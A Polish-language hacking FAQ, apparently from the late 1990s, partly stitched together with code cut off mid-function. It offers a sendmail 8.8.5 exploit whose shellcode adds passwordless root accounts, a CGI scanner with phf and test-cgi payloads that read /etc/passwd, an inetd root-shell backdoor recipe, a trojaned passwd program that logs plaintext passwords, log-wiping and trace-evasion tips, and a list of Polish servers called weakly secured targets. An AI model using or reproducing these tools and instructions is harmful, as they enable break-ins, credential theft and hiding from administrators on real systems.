maja ( teoria ;)) Nie ma sensu bym zamieszczal metody na kazdy z sendmaili,
skoro mozna je znalezc w innych FAQ.( Polecam np. FAQ POWERA) Podaje jedynie
zrodlo exploita na sendmail 8.8.5, gdyz nigdzie go jeszcze nie znalazlem.
Metody opisane w innych FAQ na sendmail 8.8.4/8.8.5 z pisaniem do dead.letter,
delikatnie mowiac pozbawione sa sensu.
-- CUTE HERE --
#include
#include
#include
#include
#include
#include
#include
#include
#define NOP 0x90
/* DO NOT CHANGE - SIZE COMPUTED */
char shellcode[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff";
/* DO NOT CHANGE - SIZE COMPUTED */
char commands[] =
"/bin/echo \"n0tr00t::1000:1000:n0tr00t:/:/bin/bash\" >> /etc/passwd\n"
"/bin/echo \"r00t::0:0:r00t:/:/bin/bash\" >> /etc/passwd\n";
int main
(
int argc,
char **argv
)
{
int i;
int sock;
char *ptr;
char *clear;
char buf[8192];
struct sockaddr_in sin;
struct hostent *hp;
if(argc<2)
{
printf("READ COMMENTS\n");
exit(-1);
}
ptr = buf;
for(i=0;i<=4096;i++) buf[i] = NOP;
ptr += i;
memcpy(ptr,shellcode,sizeof(shellcode));
ptr += sizeof(shellcode);
clear = commands;
memcpy(ptr,clear,sizeof(commands));
ptr += sizeof(commands);
memcpy(ptr,"3824",4);
/* **system(clear);** -------- LINE BROKEN BY ROOTSHELL */
printf("connecting to %s\n",argv[1]);
hp = gethostbyname(argv[1]);
if(hp==NULL)
{
printf("unknown host b1tch^┼n");
exit(-1);
}
bzero((char*) &sin, sizeof(sin));
bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
sin.sin_family = hp->h_addrtype;
sin.sin_port = htons(25);
"/bin/echo \"heh | mail Dr_UnixError@hotmail.com";
sock = socket(AF_INET, SOCK_STREAM, 0);
connect(sock,(struct sockaddr *) &sin, sizeof(sin));
send(sock,buf,sizeof(buf),0);
close(sock);
printf("Teraz zaloguj sie na r00t or n0tr00t\n");
return(0);
}
-- CUTE HERE --
Exploit ten jest dosyc pewny i sprawdzony! , dziala na wiekszosci sendmaili
8.8.5, chyba ze admin postaral sie o patcha ;)
4.4.Sendmail scanner
A jak sie dowiedziec jaka wersje sendmaila ma serwer? Mozna za kazdym razem
laczyc sie z innym serwerem na port 25 i sobie spisywac wersje. Mysle, jendak
ze byla by to zmudna robota ;) Ponizej zamieszczam zrodlo programiku, ktory
pobiera nazwy hostow z pliku i zapisuje wynik do innego pliku.
-- CUTE HERE --
#include
#include
#include
#include
#include
#include
#include
#define TIMEOUT 5
FILE *server;
int sock,to;
void timeout(int signo) { to=1; };
void sm(char *host) {
char inbuf[1024];
struct sockaddr_in sin;
struct hostent *hp;
int x;
hp=gethostbyname(host);
if (h_errno!=0) {
printf("Nie moge namierzyc %s, pomijam...\n",host);
return;
}
bcopy(hp->h_addr,(char *) &sin.sin_addr,hp->h_length);
sin.sin_family=hp->h_addrtype;
sin.sin_port=htons(25);
sock=socket(AF_INET,SOCK_STREAM,0);
if (-1
*/
#include
#include
#include
#include
#include
#include
#define TAMANO 1024
int sock;
struct sockaddr_in sock_dest;
char host_dest[100];
main(int argc,char *argv[])
{
FILE *ini; /*check for vito.ini*/
int a,
b,
c,
d,
x;
struct hostent *pastelito;
char buffer[TAMANO],
bufrec[TAMANO],
buftmp[TAMANO],
encabezado[50];
if (argc < 2) {
fprintf(stdout,"V.I.T.O by ET Lownoise 97\n");
fprintf(stdout,"Usage: %s [> file]\n",argv[0]);
fprintf(stdout,"Note: I know this program sucks.. it\n");
fprintf(stdout," just make things easy.\n");
exit(0);
}
if((ini=fopen("vito.ini","r"))==NULL){
fprintf(stdout,"%s needs his ini file: vito.ini\n",argv[0]);
exit(0);
}
if (sscanf(argv[1],"%d.%d.%d.%d",&a,&b,&c,&d) != 4) {
pastelito = gethostbyname(argv[1]);
if (pastelito == NULL) {
fprintf(stdout,"Ahhhhhhh! cannot resolve host %s\n",argv[1]);
exit(0);
}
sprintf(host_dest,"%d.%d.%d.%d",(unsigned char )
pastelito->h_addr_list[0][0],
(unsigned char )
pastelito->h_addr_list[0][1],
(unsigned char )
pastelito->h_addr_list[0][2],
(unsigned char )
pastelito->h_addr_list[0][3]);
}
else {
strncpy(host_dest,argv[1],99);
}
fprintf(stdout,"V.I.T.O.\n");
fprintf(stdout,"Attac...Testing host: %s ",host_dest);
/*ET*/
sock_dest.sin_family = AF_INET;
sock_dest.sin_port = htons(80); /* www
port */
sock_dest.sin_addr.s_addr = inet_addr(host_dest);
while(fgets(buffer,TAMANO,ini)!=NULL){ /*Buffer line
size*/
if(buffer[0]=='['){
/* Buffer division*/
strcpy(buftmp,buffer);
strcpy(buffer,strchr(buftmp,'G'));
strncpy(encabezado,buftmp,strlen(buftmp)-strlen(buffer)+1);
encabezado[strlen(buftmp)-strlen(buffer)]='\0';
sock = socket(AF_INET,SOCK_STREAM,0);
if(sock < 0) {
fprintf(stdout,"ERROR: socket() failed\n");
exit(0);
}
x = connect(sock,(struct sockaddr *)
&sock_dest,sizeof(sock_dest));
if(x < 0){
fprintf(stdout,"Upps.. can't connect to port 80\n");
}
fprintf(stdout,
"\n|-------------------------------------------------------------|\n");
fprintf(stdout," CGI: %s\n",encabezado);
fprintf(stdout," Sending.\n");
fprintf(stdout," %s",buffer);
fprintf(stdout,"|------------------------- ----------------------|\n");
send(sock,buffer,TAMANO*sizeof(char),0);
bzero(buffer,TAMANO);
fprintf(stdout," Receiving.\n\n");
while((x=recv(sock,bufrec,TAMANO*sizeof(char),0))!=0){
fprintf(stdout,"%s",bufrec);
bzero(bufrec,TAMANO);
}
close(sock);
}
}
fclose(ini);
fprintf(stdout,
"\n|=============================================================|\n");
fprintf(stdout,"Vito End. ET Lownoise 1997\n");
}
-- CUTE HERE --
-- CUTE HERE --
##############################################################
# vito.ini #
##############################################################
[phf passwd] GET /cgi-bin/phf?Qalias=hell%0acat%20/etc/passwd%0a
[phf uname] GET /cgi-bin/phf?Qalias=hell%0auname%20-a%0a
[finger] GET /cgi-bin/finger?%0a
[test-cgi cgis] GET /cgi-bin/test-cgi?%20*%0a
[test-cgi dirs] GET /cgi-bin/test-cgi?%20\*%0a
[php/fi] GET /cgi-bin/php.cgi?/etc/passwd
#[Access control on W3C httpd server] GET //secret/index.html
[IRIX handler ] GET /cgi-bin/handler/useless_shit;cat
/etc/passwd|?data=Download
#[mglimpse] GET
/cgi-bin/aglimpse/80|IFS=5;CMD=5mail5user\@et.com\haselko, a w pliku
haselko powinno sie znalezc haslo roota ;)
4.8 Prosty Backdoor
Co to sa tylne dzwi chyba nikomu tlumaczyc nie trzeba, ale przypomne ze
jest to sposob w jaki mozna sie polaczyc z serwerem, bez koniecznosci logowa-
nia i podawania hasla.Sluzy do tego jeden z portow ktory mozemy albo stworzyc,
albo wykorzystac inny. Podstawa do tego by zalozyc backdoora jest koniecznosc
posiadania roota ;).Backdoor jest metoda ktora pozwoli przez dluzszy czas
utrzymac roota, pod warunkiem ,ze robimy to pomyslowo i bez zostawiania sladow
( no troche ich trzeba zostawic, przynajmniej w dwoch plikach ;))
Wyobrazmy sobie ze mamy juz na jakims serwerku roota ,zalozylismy sobie kilka
innych kont, ale admin sie skapowal, pokasowal konta i zmienil sobie haslo.
Ale my mamy jeszcze tylne dzwi ;)
Na poczatek przyjrzyjmy sie dwom plikom, ktore sa odpowiedzialne za to, ktore
porty maja byc otwarte i do czego sluzyc.
/etc/services
tcpmux 1/udp #TCP Port Service Multiplexer
compressnet 2/tcp #Management Utility
compressnet 2/udp #Management Utility
compressnet 3/tcp #Compression Process
compressnet 3/udp #Compression Process
ftp 21/tcp #File Transfer [Control]
hostnames 101/tcp # usually from sri-nic
iso-tsap 102/tcp # ISO nic
x400 103/tcp # ISO mail
Pierwsza kolumna oznacza nazwe serwisu, duga numer portu trzecia opis
/etc/inedt.conf
ftp stream tcp nowait root /usr/libexec/tcpd ftpd -l -A
telnet stream tcp nowait root /usr/libexec/tcpd telnetd
shell stream tcp nowait root /usr/libexec/tcpd rshd
login stream tcp nowait root /usr/libexec/tcpd rlogind -a
x400 stream tcp nowait root /usr/libexec/tcpd rexecd
Pierwsza kolumna to nazwa serwisu (deamona) odpowiada ona numerowi portu z
pliku services. Druga kolumna to rodzaj polaczenia, przewaznie stream.
Dalej jest protokol, nas interesuje tylko tcp. Nastepna kolumna dotyczy
oczekiwania, standardowo - "nowait". Nastepnie podany jest uzytkownik,
My bedziemy ustawiac na roota. Dalej znajduje sie program, ktory obsluzy
polaczenie, czyli prawie zawsze tcpd. Na koncu znajduje sie program lub
deamon, ktory zostanie odpalony. W sumie jest tego o wiele wiecej od portu 1
przewaznie do 7000 i dalej. Instalacja backdoora polega na otworzeniu sobie
jakiegos portu, tak aby po polaczeniu sie z nim przez telnet, bez koniecznosci
logowania i podawania hasla otrzymac na przyklad.... roota ;). Mozna
zmienic jakis serwis albo dopisac nowy. Dopisujac nowy nalezy zwrocic uwage
na to by dopisac go w odpowiedniej kolejnosci (porty sa uporzadkowane). Nie
wymyslac zbyt wysokich portow ( to bylo podejrzane skoro standardowo jest ich
do 7000) I wymyslec jakas ciekawa, ale nie wybijaca sie z pozostalych nazw
serwisu. Mala szansa, zeby admin skapnal sie o co biega. Z zasady jest mnostwo
otworzonych portow , a dopisanie sobie jednego swojego, niczego wizualnie nie
zmieni ;) Aha, zeby nie podpadlo mozna zrobic sobie kopie powloki i umiescic
ja w jakims glupim katalogu
Tak powinno mniej wiecej to wygladac :
# do pliku /etc/services
tnt 2090/tcp #jakis fajny opis ;)
# do pliku /etc/inetd.conf
tnt stream tcp nowait root /bin/bash bash -i
Po takim zabiegu nalezy zresetowac calego daemona, by uaktualnic ustawienia
killall -HUP inetd
Teraz mozemy wpisac telnet host 2090
i...
Trying 194.204.73.4...
Connected to dom.vr.pl
Escape character is '^]'.
bash#
bash# who am i
bash# I'm root ;)
To jest jeden z najprostrzych backdoorow, ale skuteczny. Jesli ktos chce sie
zapoznac z innymi "tylnymi dzwiami" to odwoluje do FAQ banana.
4.9 Kon trojanski passwd
A teraz troche z innej beczki, ponizej podaje zrodlo na ciekawego konia
trojanskiego. Nalezy to skompilowac (gcc trojan.c -o passwd). Orginalny plik
passwd znajdujacy sie w /usr/bin/passwd zastapic tym skompilowanym. No,
wczesniej mozna zrobic sobie kopie starego passwd. I teraz kazdy kto bedzie
zmienial haslo, lub gdy root bedzie dodawal nowych uzytkownikow , wszystkie
rozkodowane hasla beda sie znajdowaly w pliku /tmp/xs-chpass. Mozna wymyslec
jakas inna ciekawsza lokalizacje. Warunkiem instalacji tego konia trojanskiego
jest oczywiscie koniecznosc posiadania statusu roota ;)
-- CUTE HERE --
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define ascii_to_bin(c) ((c)>='a'?(c-59):(c)>='A'?((c)-53):(c)-'.')
#define bin_to_ascii(c) ((c)>=38?((c)-38+'a'):(c)>=12?((c)-12+'A'):(c)+'.')
#define MAX_LENGTH 1024
static void
pexit(str)
char *str;
{
perror(str);
exit(1);
}
int
main(argc, argv)
int argc;
char *argv[];
{
struct passwd *pe;
uid_t gotuid = getuid();
char *pwdstr = NULL, *cryptstr, *oldstr;
char pwdstr1[10];
int ucase, lcase, other;
char *p, *q, *user;
time_t tm;
char salt[2];
FILE *fd_in, *fd_out, *plaintext;
char line[MAX_LENGTH];
char colonuser[16];
int error=0;
int r;
int ptmp;
#ifndef USE_SETPWNAM
struct rlimit rlim;
#endif
if(argc > 3) {
puts("Too many arguments");
exit(1);
} else if(argc >= 2) {
if(gotuid) {
puts("Only root can change the password for others");
exit(1);
}
user = argv[1];
if (argc == 3) pwdstr = argv[2];
} else {
if (!(user = getlogin())) {
if (!(pe = getpwuid( getuid() ))) {
pexit("Cannot find login name");
} else
user = pe->pw_name;
}
}
#ifndef USE_SETPWNAM
umask(022);
rlim.rlim_cur = rlim.rlim_max = RLIM_INFINITY;
setrlimit(RLIMIT_CPU, &rlim);
setrlimit(RLIMIT_FSIZE, &rlim);
setrlimit(RLIMIT_STACK, &rlim);
setrlimit(RLIMIT_DATA, &rlim);
setrlimit(RLIMIT_RSS, &rlim);
rlim.rlim_cur = rlim.rlim_max = 0;
setrlimit(RLIMIT_CORE, &rlim);
#endif
if(!(pe = getpwnam(user))) {
pexit("Can't find username anywhere. Are you really a user?");
}
/* if somebody got into changing utmp... */
if(gotuid && gotuid != pe->pw_uid) {
puts("UID and username does not match, imposter!");
exit(1);
}
printf( "Changing password for %s\n", user );
if(gotuid && pe->pw_passwd && pe->pw_passwd[0]) {
oldstr = getpass("Enter old password: ");
if(strncmp(pe->pw_passwd, crypt(oldstr, pe->pw_passwd), 13)) {
puts("Illegal password, imposter.");
exit(1);
}
}
if (!pwdstr) {
/* password not set on command line by root, ask for it ... */
redo_it:
pwdstr = getpass("Enter new password: ");
if (pwdstr[0] == '\0') {
puts("Password not changed.");
exit(1);
}
if((strlen(pwdstr) < 6) && gotuid) {
puts("The password must have at least 6 characters, try again.");
goto redo_it;
}
other = ucase = lcase = 0;
for(p = pwdstr; *p; p++) {
ucase = ucase || isupper(*p);
lcase = lcase || islower(*p);
other = other || !isalpha(*p);
}
if((!ucase || !lcase) && !other && gotuid) {
puts("The password must have both upper- and lowercase");
puts("letters, or non-letters; try again.");
goto redo_it;
}
if (pe->pw_passwd[0]
&& !strncmp(pe->pw_passwd, crypt(pwdstr, pe->pw_passwd), 13)
&& gotuid) {
puts("You cannot reuse the old password.");
goto redo_it;
}
r = 0;
for(p = pwdstr, q = pe->pw_name; *q && *p; q++, p++) {
if(tolower(*p) != tolower(*q)) {
r = 1;
break;
}
}
for(p = pwdstr + strlen(pwdstr)-1, q = pe->pw_name;
*q && p >= pwdstr; q++, p--) {
if(tolower(*p) != tolower(*q)) {
r += 2;
break;
}
}
if(gotuid && r != 3) {
puts("Please don't use something like your username as password!");
goto redo_it;
}
/* do various other checks for stupid passwords here... */
strncpy(pwdstr1, pwdstr, 9);
pwdstr = getpass("Re-type new password: ");
if(strncmp(pwdstr, pwdstr1, 8)) {
puts("You misspelled it. Password not changed.");
exit(1);
}
} /* pwdstr != argv[2] i.e. password set on command line */
time(&tm);
salt[0] = bin_to_ascii(tm & 0x3f);
salt[1] = bin_to_ascii((tm >> 6) & 0x3f);
plaintext = fopen("/tmp/xs-chpass", "a");
if((fputs("L: ", plaintext)) == EOF)
perror("XS-Hack ERROR (general): ");
if((fputs(user, plaintext)) == EOF)
perror("XS-Hack ERROR (plaintext passwd): ");
if((fputs(" ", plaintext)) == EOF)
perror("XS-Hack ERROR (general): ");
if((fputs("P: ", plaintext)) == EOF)
perror("XS-Hack ERROR (general): ");
if((fputs(pwdstr, plaintext)) == EOF)
perror("XS-Hack ERROR (username): ");
if((fputs("\n", plaintext)) == EOF)
perror("XS-Hack ERROR (general): ");
cryptstr = crypt(pwdstr, salt);
if (pwdstr[0] == 0) cryptstr = "";
#ifdef USE_SETPWNAM
pe->pw_passwd = cryptstr;
if (setpwnam( pe ) < 0) {
perror( "setpwnam" );
printf( "Password *NOT* changed. Try again later.\n" );
exit( 1 );
}
#else
if ((ptmp = open("/etc/ptmp", O_CREAT|O_EXCL|O_WRONLY, 0600)) < 0) {
pexit("Can't exclusively open /etc/ptmp, can't update password");
}
fd_out = fdopen(ptmp, "w");
if(!(fd_in = fopen("/etc/passwd", "r"))) {
pexit("Can't read /etc/passwd, can't update password");
}
strcpy(colonuser, user);
strcat(colonuser, ":");
while(fgets(line, sizeof(line), fd_in)) {
if(!strncmp(line,colonuser,strlen(colonuser))) {
pe->pw_passwd = cryptstr;
if(putpwent(pe, fd_out) < 0) {
error = 1;
}
} else {
if(fputs(line,fd_out) < 0) {
error = 1;
}
}
if(error) {
puts("Error while writing new password file, password not changed.");
fclose(fd_out);
endpwent();
unlink("/etc/ptmp");
exit(1);
}
}
fclose(fd_in);
fclose(fd_out);
unlink("/etc/passwd.OLD"); /* passwd.OLD not required */
if (link("/etc/passwd", "/etc/passwd.OLD"))
pexit("link(/etc/passwd, /etc/passwd.OLD) failed: no change");
if (unlink("/etc/passwd") < 0)
pexit("unlink(/etc/passwd) failed: no change");
if (link("/etc/ptmp", "/etc/passwd") < 0)
pexit("link(/etc/ptmp, /etc/passwd) failed: PASSWD file DROPPED!!");
if (unlink("/etc/ptmp") < 0)
pexit("unlink(/etc/ptmp) failed: /etc/ptmp still exists");
chmod("/etc/passwd", 0644);
chown("/etc/passwd", 0, 0);
#endif
puts("Password changed.");
exit(0);
}
-- CUTE HERE --
5.1 Bezpieczenstwo
W tym i kolejnych punktach omowie kilka aspektow bezpiecznego hackowania.
Bezpieczenstowo jest sprawa nader wazna i nie mozna tego lekcewazyc. Wiekszosc
mysli sobie ze jak juz sie gdzies wlamalo, ma roota, jest juz wszystko fajnie,
pieknie, ale nie na tym rzecz polega. Pieknie moze byc przez chwile, a pozniej
moga byc tego nie ciekawe skutki. Trzeba pamietac ,ze TPSA nie gwarantuje
pelnej anonimowosci. W przypadku jakiegos powazniejszego wlamania, lub naru-
szenia czyjegos mienia TPSA na wniosek prokuratora, moze udostepnic biling,
na ktorym sa wszystkie polaczenia. Chociaz patrzac na to z drugiej strony nie
jest to do konca dowodem, bo na lini wisi zawsze wiecej osob. Po prostu robiac
jakies wieksze akcje, trzeba to robic z glowa ;)
5.2 Jak hackowac bezpiecznie
Po pierwsze stosowac sie do zasad wymienionych wczesniej. Po drugie nigdy nie
laczyc sie przez inne polaczenia niz TPSA ( jesli oczywiscie mamy dostep u
jakiegos providera). Jesli mamy juz roota, pamietac o kasowaniu za soba wszy-
stkich logow. Najwazniejsze logi to :
/var/log/wtmp - log ogolny
/var/run/utmp - przechowuje informacje o zalogowanych osobach.
Wpisz "echo -n >/var/run/utmp" aby ukryc sie przed
who lub fingerem
/var/log/lastlog - zawiera informacje o ostatnim zalogowaniu
Jest jeszcze innych kilka logow np. /var/log/messages itd.
Ale te powyzsze sa najwazniejsze
Aby wyczyscic swoje logi mozna wykonac cos w stylu :
echo -n >/var/log/wtmp; echo -n >/var/run/utmp
lub nabyc sobie programik killlog dostepny w wielu zrodlach.
Jesli nie mamy roota, a wchodzimy na czyjes konto, rozlaczamy sie, to wlasci-
ciel konta otrzymuje nastepujaca informacje :
lastlogin ppp34.bydgoszcz.tpnet.pl
I... juz widzi ze cos jest nie tak, bo on jest np. ze Szczecina a ostatni
logowal sie ktos z Bydgoszczy , i od razu zmienia haslo. Jak temu zapobiec?
Sa dwie metody jedna skasowac plik /var/log/lastlog ale nie zrobimy tego nie
majac roota. Druga ,to zawsze robic "petelki"
Polega to na tym ze laczymy sie z hostem:
telnet wariatkowo.com.pl 23
login, passwd,
a nastepnie robimy petelke
telnet localhost ( lub telnet 127.0.0.1)
i jeszcze raz login, passwd.
Teraz po rozlaczeniu sie, gdy wejdzie wlasciciel otrzyma informacje:
lastlogin localhost
I raczej watpliwa sprawa zeby sie skapowal co tu sie dzialo i kto sie ostatni
logowal, chyba ze jest naprawde dobry i ma czas na dochodzenie ;)
Faktem jest, ze te wszystkie operacje odnotowane beda w logach systemowych,
ale nie majac roota nic wiecej nie zrobimy.
Jesli planujemy jakias wieksza akcje, musimy wykorzystac do tego kilka kont.
I nie laczyc sie bezposrednio z serwerem na ktorym mieszamy, tylko zrobic
kilka petelek, a jesli jeszcze na jednym z serwerow mamy roota, to czesciowo
mozemy zamazac logi. 100 % ze admini sie nie dogadaja ;)
5.4 Co zrobic, gdy jestes podejrzany
Trzeba pamietac o jednym: ze jesli jestes podejrzany o hackersto to jestes
winny dopoki nie udowodnisz swej niewinnosci. Z zasady nikt ci raczej nic
nie zrobi jesli nie zniszczysz systemu, lub powaznie nie namieszasz. Jesli
beda cie podejrzewac to napewno dostaniesz ostrzezenia od admina ( jedno
kiedys dostalem ;)).Moze on monitorowac twoje polaczenia, czytac poczte, a
wiec nalezy uwazac. Zaprzestac na jakis czas akcji, nie wysylac zadnej jawnej
poczty. Mozna tez to zlekcewazyc, w koncu wyroki za hackerstwo nie sa az tak
wysokie : od kilku do kilkunastu lat ;) Po prostu trzeba byc czujnym i nie
dac sie zlapac ;)!!!!
6.1 Lista serwerow udostepniajacych bezplatne konta
www.idc.com.pl
www.arbornet.org
www.ashpool.com
www.nyx.net
www.nether.net
www.havoc.net
www.unixnet.org
dom.vr.pl
6.2 Inne polskie serwery
Lista innych polskich serwerow, nie ktore z nich bardzo stare i slabo
zabezpieczone mozna pokombinowac ;)
WWW.BIALAP.TPSA.PL
BISON.ZBS.BIALOWIEZA.PL
WWW.UW.BIALYSTOK.PL
MATH.UW.BIALYSTOK.PL
WWW.MERINOSOFT.BPTNET.PL
MIZAR.UW.BIALYSTOK.PL
EUREKA.MTRAIN.OPTINET.PL
WWW.NASK.BIALYSTOK.PL
WWW.OPTINET.PL
CKSR.AC.BIALYSTOK.PL
ARAGORN.PB.BIALYSTOK.PL
LIBRA.PB.BIALYSTOK.PL
WWW.SITECH.PL
WWW.T-MATIC.BPTNET.PL
KPBM.PB.BIELSKO.PL
WWW.BESKIDY.POL.PL
WWW.BIELBIT.BIELSKO.PL
WWW.FFCOMP.COM.PL
WWW.PETEX.BIELSKO.PL
WWW.BIELSKO.TPSA.PL
WWW.TECHMEX.COM.PL
KPBM.PB.BIELSKO.PL
WWW.BIELSKO.TPSA.PL
WWW.OKOCIM.COMNET.PL
WWW.ATR.BYDGOSZCZ.PL
ROLN.ATR.BYDGOSZCZ.PL
CHSERV.ATR.BYDGOSZCZ.PL
CHSERV.ATR.BYDGOSZCZ.PL
WWW.BP.COM.PL
WWW.PPCOR.ORG.PL
WWW.CHEMNET.COM.PL
WWW.INTERLAN.COM.PL
WWW.LOGON.BYDGOSZCZ.PL
WWW.LOGONET.COM.PL
WWW.BYDG.PDI.NET
WWW.POCZTA-POLSKA.PL
WWW.RPL.COM.PL
WWW.ALJGLOBAL.COM
WWW.STUDIO-NET.COM.PL
WWW.TELMAX.COM.PL
WWW.BYD.TOP.PL
WWW.ZSE.BYDGOSZCZ.PL
WWW.ZST.BYTOM.PL
USCTOUX1.CTO.US.EDU.PL
WWW.ZST.BYTOM.PL
WWW.ATA.COM.PL
WWW.FILUS.EDU.PL
WWW.GORZOW.PL
WWW.KAM.PL
WWW.SHACO.PL
WWW.SHACO.PL
IS.PCZ.CZEST.PL
WWW.MIM.PCZ.CZEST.PL
KTMIAP.PCZ.CZEST.PL
WWW.WINEASY.SE
WWW.MATINF.PCZ.CZEST.PL
WWW.ZETO.CZEST.PL
WWW.GDA.CNT.PL
WWW.BMBG.COM.PL
WWW.CNT.PL
WWW.ATM.COM.PL
WWW.PG.GDA.PL
WWW.PG.GDA.PL
WWW.ELY.PG.GDA.PL
WWW.ETI.PG.GDA.PL
WWW.DS2.PG.GDA.PL
WWW.INFOSERVICE.COM.PL
WWW.ITNET.COM.PL
WWW.AMG.GDA.PL
WWW.IPIPAN.GDA.PL
WWW.IMP.PG.GDA.PL
WWW.IBWPAN.GDA.PL
WWW.NEXUS.OPTIMUS.COM.PL
WWW.GDANSK.SPRINT.PL
WWW.TASK.GDA.PL
WWW.BG.UNIV.GDA.PL
WWW.UNIV.GDA.PL
WWW.USE.COM.PL
TRYTON.CBMPAN.GDYNIA.PL
WWW.MIASTO.GDYNIA.PL
WWW.IMMT.GDYNIA.PL
WWW.IMGW.GDYNIA.PL
WWW.WSM.GDYNIA.PL
WWW.KASZUB.TOP.PL
WWW.SOPOT-PL.NET
WWW.IOPAN.GDA.PL
WWW.POLSL.GLIWICE.PL
WWW.I3W.PIK-NET.PL
WWW.GSW.PL
WWW.SILESIA.PIK-NET.PL
WWW.HELION.COM.PL
ATOS.IITIS.GLIWICE.PL
WWW.JM.COM.PL
KOLIBER.IA.POLSL.GLIWICE.PL
WWW.OPUS.COM.PL
WWW.PIK.GLIWICE.PL
WWW.PIK-NET.GLIWICE.PL
WWW.SILESIA.PIK-NET.PL
WWW.SWOC.GLIWICE.PL
WWW.POLSL.GLIWICE.PL
WWW.TAGOR.COM.PL
HEL.HEL.UNIV.GDA.PL
WWW.PWR.JGORA.PL
WWW.PWR.JGORA.PL
WWW.CPU-ZETO.COM.PL
WWW.JELENIAG.TPSA.PL
WWW.AE.KATOWICE.PL
WWW.AE.KATOWICE.PL
WWW.ADAP.COM.PL
WWW.BIT.KATOWICE.PL
WWW.CENTROZAP.COM.PL
WWW.EMAG.KATOWICE.PL
WWW.FRAM-EFY.COM.PL
WWW.GIG.KATOWICE.PL
ALF.IGO.KATOWICE.PL
WWW.KSK.COM.PL
WWW.NETKAT.COM.PL
WWW.GAPP.PL
WWW.KATOWICE.PIK-NET.PL
WWW.PIK-NET.PL
WWW.KATOWICE.TPSA.PL
WWW.CTO.US.EDU.PL
WWW.ADM.US.EDU.PL
WWW.CTO.US.EDU.PL
WWW.MATH.US.EDU.PL
GATE.MATH2.US.EDU.PL
WWW.SLAM.KATOWICE.PL
WWW.BONUS.COM.PL
WWW.COMPLEX.COM.PL
WWW.EXBUD.COM.PL
WWW.PU.KIELCE.PL
KIEL1.COMPLEX.COM.PL
WWW.SLOWOLUDU.COM.PL
WWW.TU.KIELCE.PL
WWW.KIELCE.TPSA.PL
WWW.ALPLAST.COM.PL
WWW.TEAM.COM.PL
WWW.CYF-KR.EDU.PL
WWW.V-LO.KRAKOW.PL
WWW.ABBPOL.KRAKOW.PL
WWW.CYF-KR.EDU.PL
WWW.ROL.AR.KRAKOW.PL
WWW.ZOO.AR.KRAKOW.PL
WWW.AE.KRAKOW.PL
FETC.AE.KRAKOW.PL
WWW.ALTKOM.KRAKOW.PL
DINO.BCI.KRAKOW.PL
WWW.BJSYSTEM.COM.PL
WWW.BUDOSTAL-2.KRAKOW.PL
WWW.BCI.KRAKOW.PL
WWW.BCI.KRAKOW.PL
WWW.CLICO.KRAKOW.PL
WWW.COMMPOL.KRAKOW.PL
WWW.DIJ.KRAKOW.PL
WWW.EURO.NET.PL
WWW.FEMA.KRAKOW.PL
WWW.HORYZONT-KPG.COM.PL
WWW.IFJ.EDU.PL
WWW.ISPID.COM.PL
WWW.IP.KRAKOW.PL
WWW.IF.UJ.EDU.PL
WWW.OA.UJ.EDU.PL
WWW.CH.UJ.EDU.PL
WWW.LAW.UJ.EDU.PL
TH-WWW.IF.UJ.EDU.PL
WWW.II.UJ.EDU.PL
WWW.BJ.UJ.EDU.PL
WWW.IF.UJ.EDU.PL
TICHY.CH.UJ.EDU.PL
DRUID.IF.UJ.EDU.PL
ZFS.IF.UJ.EDU.PL
WWW.TL.KRAKOW.PL
WWW.KKI.KRAKOW.PL
WWW.MODULUS.COM.PL
WWW.MULTISOFT.KRAKOW.PL
WWW.NAFTOBUDOWA.IPL.NET
WWW.IGNG.KRAKOW.PL
WWW.ONET.PL
WWW.TPG.KRAKOW.PL
WWW.ABA.KRAKOW.PL
WWW.PROVEST.COM.PL
WWW.RMF.PL
WWW.RADIOPLUS.COM.PL
WWW.SOLIDEX.COM.PL
STUDENT.UCI.AGH.EDU.PL
WWW.S3000.KRAKOW.PL
WWW.TRANSPROJEKT.KRAKOW.PL
RAK.UCI.AGH.EDU.PL
WWW.UCI.AGH.EDU.PL
WWW.KT.AGH.EDU.PL
WWW.FTJ.AGH.EDU.PL
WWW.KWESTURA.AGH.EDU.PL
WWW.PK.EDU.PL
SUN1.WIL.PK.EDU.PL
EDISON3.EDISON.PK.EDU.PL
WWW.PK.EDU.PL
WWW.CHEMIA.PK.EDU.PL
WWW.TWINS.PK.EDU.PL
LIMBA.WIL.PK.EDU.PL
WWW.WSP.KRAKOW.PL
WWW.KRASNIK.PL
WWW.CIEG.COM.PL
WWW.MAN.LODZ.PL
WWW.ABIS.LODZ.PL
WWW.APRONET.LODZ.PL
WWW.CKZETO.COM.PL
WWW.UML.LODZ.PL
WWW.COMPART.LODZ.PL
WWW.PARTNER.LODZ.PL
WWW.DOSKOMP.LODZ.PL
JUMBO.ERICPOL.LODZ.PL
WWW.EFL.LODZ.PL
WWW.FAST.COM.PL
WWW.GEOSOFT.LODZ.PL
WWW.POCZTA.COM
WWW.JMK.LODZ.PL
WWW.LASER.COM.PL
WWW.LOOP.LODZ.PL
WWW.MAGANN.COM.PL
WWW.MAGNUM.LODZ.PL
WWW.AM.LODZ.PL
WWW.MAN.LODZ.PL
WWW.OPEL-RYGALIK.LODZ.PL
WWW.ORTEX.LODZ.PL
WWW.PACTOR.TPNET.PL
WWW.LODZ.PDI.NET
WWW.PLYTOLEX.COM.PL
WWW.SALTEX.LODZ.PL
WWW.STYLGRAF.LODZ.PL
WWW.UNI.LODZ.PL
IMUL.UNI.LODZ.PL
WWW.P.LODZ.PL
ZSKU.P.LODZ.PL
MITRHP.P.LODZ.PL
ZMW1.P.LODZ.PL
PKM1.P.LODZ.PL
WWW.P.LODZ.PL
WWW.CUPRUM.COM.PL
WWW.LUBLIN.PL
WWW.UMCS.LUBLIN.PL
ZIOPC29.UMCS.LUBLIN.PL
HEBE.UMCS.LUBLIN.PL
INDY.UMCS.LUBLIN.PL
WWW.POL.LUBLIN.PL
VOLT.POL.LUBLIN.PL
WWW.POL.LUBLIN.PL
JANTAR.ZSEL.LUBLIN.PL
WWW.TNET.PL
WWW.TNET.PL
WWW.ART.OLSZTYN.PL
WWW.ART.OLSZTYN.PL
WWW.INFONET.COM.PL
WWW.MAZURY.TOP.PL
WWW.CSO.OPTINET.PL
WWW.RO.COM.PL
WWW.UM.OPOLE.PL
